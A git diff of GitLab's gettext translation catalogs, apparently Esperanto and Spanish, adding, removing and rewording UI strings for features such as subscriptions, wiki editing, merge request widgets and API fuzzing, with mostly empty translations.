+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "Iri al branĉo/etikedo"
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "Tempo Äis la unua peto pri kunfando"
@@ -33417,9 +34087,6 @@ msgstr[1] "min"
msgid "Time|s"
msgstr "s"
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr "AlÅuti dosieron"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr "Uzi vian Äeneralan agordon pri la sciigoj"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr "Ne estas sufiĉe da datenoj por montri ĉi tiun etapon."
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/es/gitlab.po b/locale/es/gitlab.po
index d438fd2aad1..7cc915a4592 100644
--- a/locale/es/gitlab.po
+++ b/locale/es/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: es-ES\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:18\n"
+"PO-Revision-Date: 2021-06-01 20:35\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] "%d incidencia importada correctamente con la etiqueta"
msgstr[1] "%d incidencias importadas correctamente con la etiqueta"
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d capa"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "Los %{group_docs_link_start}Grupos%{group_docs_link_end} le permiten administrar y colaborar en múltiples proyectos. Los miembros de un grupo tienen acceso a todos sus proyectos."
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr "%{link_start}Más información%{link_end} sobre qué información se com
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}Lea más%{link_end} acerca de los permisos de rol"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds} s"
@@ -849,9 +857,6 @@ msgstr "%{state} épicas"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr "%{strongStart}Elimina%{strongEnd} la rama origen"
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr "Avatar de %{userName}"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "%{user_name} página de perfil"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr "%{username} ha solicitado una cuenta de GitLab en su instancia %{host}:"
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr "La etapa '%{name}' ya existe"
-
msgid "'%{source}' is not a import source"
msgstr "'%{source}' no es una fuente valida para importar"
@@ -1364,6 +1372,9 @@ msgstr "No se puede obtener un certificado SSL de Let's Encrypt hasta que se ver
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "Se configurará una cuenta de Let's Encrypt para esta instalación de GitLab utilizando su correo electrónico. Recibirá correos electrónicos con avisos sobre la caducidad de los certificados."
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr "Un usuario eliminado"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr "Se ha modificado un archivo."
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "Un proyecto es donde sus archivos (repositorio), planifica su trabajo (incidencias), y publica su documentación (wiki), %{among_other_things_link}."
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr "Un token seguro que identifica una petición de almacenamiento externo."
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "AWS Access Key"
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "Añadir una lista de viñetas"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Añadir un comentario a esta línea"
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "Ãrea de administración"
@@ -2330,9 +2350,6 @@ msgstr "Las variables de entorno están protegidas por defecto"
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr "Ir a los ajustes generales"
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr "Movido a integraciones"
msgid "AdminSettings|No required pipeline"
msgstr "No se requiere un pipeline"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "Configuración del pipeline requerida"
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
